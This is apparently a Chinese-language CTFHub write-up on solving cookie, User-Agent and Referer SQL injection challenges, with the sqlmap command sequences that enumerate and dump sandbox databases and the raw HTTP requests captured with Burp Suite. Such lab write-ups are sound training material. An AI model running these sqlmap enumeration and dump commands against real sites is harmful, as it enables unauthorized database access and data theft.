CTFHub題解-技能樹-Web(web工具配置-SQL注入)

Cookie注入
1.知識點
cookie注入的原理是:就要修改cookie的值,我們是將提交的參數已cookie方式提交了,而一般的注入我們是使用get或者post方式提交,get方式提交就是直接在網址后面加上需要注入的語句,post則是通過表單方式,get和post的不同之處就在於一個我們可以通過IE地址欄處看到我們提交的參數,而另外一個卻不能。
相對post和get方式注入來說,cookie注入就要稍微繁瑣一些了,要進行cookie注入,我們首先就要修改cookie,這里就需要使用到Javascript語言了。
cookie注入的兩個必須條件:
條件1是:程序對get和post方式提交的數據進行了過濾,但未對cookie提交的數據庫進行過濾。
條件2是:在條件1的基礎上還需要程序對提交數據獲取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行獲取,也就是說用request這個方法的時候獲取的參數可以是是在URL后面的參數也可以是cookie里面的參數這里沒有做篩選,之后的原理就像我們的sql注入一樣了。
cookie注入分為以下幾個階段:
1. 判斷是不是注入點
2.得到字段總數
3.查選表名
4.查選列名
5.查內容
當然,sqlmap對於像筆者這樣的小白來說是更好用的~
命令格式就是這樣(爆庫):
python sqlmap.py -u "http://xxx.com" --cookie "id=x" --dbs --level 2
2.題解

python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2 python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2 python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2






UA注入
1.知識點
User Agent 中文名為用戶代理,簡稱 UA,它是一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本、CPU 類型、瀏覽器及版本、瀏覽器渲染引擎、瀏覽器語言、瀏覽器插件等。
筆者還沒用過手工注入的方法來做UA注入,因此筆者下面介紹用sqlmap對UA注入的命令用法(詳細方法見題解)。
2.題解

方法1:
將post包中的數據粘貼成一個txt,針對該txt進行爆破。
命令(爆庫):
python sqlmap.py -r "xxx.txt" --level 3 --dbs
開啟火狐瀏覽器的代理~
與burpsuite配合使用。

burpsuite抓個包看看~


python sqlmap.py -r "UAsql.txt" --level 3 --dbs python sqlmap.py -r "UAsql.txt" --level 3 -D sqli --tables python sqlmap.py -r "UAsql.txt" --level 3 -D sqli -T ztoczxhmwd --columns --dump






方法2:
用-u命令
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 --dbs python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T ztoczxhmwd --columns --dump





哭了...不知道是不是我操作參數問題...續了三次10分鍾環境才跑出來的flag.......
小伙伴們跑的時候,一定要記得看一下環境剩余時間,不然....還得重開環境.....
qwq~
跑出來的flag是一樣噠~~~
Refer注入

1.知識點
sqlmap可以在請求中偽HTTP的Referer頭,當--level參數大於等於3時,會嘗試進行refer注入
sqlmap.py -r xxx.txt -p referer --level 5
2.題解
先用burpsuite抓個包看看~

發現沒有referer參數,剛好題目里面提示,請在referer輸入ID~
referer: 1
除此之外,還需要在GET處把題目的url補全哦~
不然會引起類似這種報錯的。





GET處把題目的url補全具體見下面代碼:
GET http://challenge-fd30069358ef2890.sandbox.ctfhub.com:10080/ HTTP/1.1
Host: challenge-fd30069358ef2890.sandbox.ctfhub.com:10080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
referer: 1
然后把它們粘進一個空白的txt里,自己隨意命名~
放在你的
sqlmap.py 的目錄里。

txt准備好就可以用sqlmap工具來跑啦~
python sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump




補充來啦~
有小伙伴私信我說,這種方法跑不出來喲~
筆者重開了環境,發現的確不行啦!!!
於是筆者在此更新另一種“姿勢”~
用post包~
首先打開火狐瀏覽器,安裝好hackbar插件(記得用v2版本),然后f12將它顯示出來~
根據下圖操作:

然后設置好代理,抓包~

然后發送到repeater模塊:
然后把左邊的全選粘貼到txt里~
POST / HTTP/1.1 Host: challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Origin: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080 Connection: close Referer: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080/ Upgrade-Insecure-Requests: 1 Referer: 1
命令:
python3 sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump
這樣就可以出來啦~后續的命令是一樣的哦~
圖我就不粘啦~
如果遇到問題,歡迎私信我哦~

SQL注入部分平台放出來的題目已經全部做完啦~
sqlmap真是太好用了...
寫出sqlmap工具的大佬也太棒了叭!!!
后續平台更新題目的話,筆者也會持續更新噠~
參考資料:
http://www.hackdig.com/?04/hack-3124.htm
https://www.cnblogs.com/liujizhou/p/11768405.html
https://www.cnblogs.com/w10234/p/5522280.htm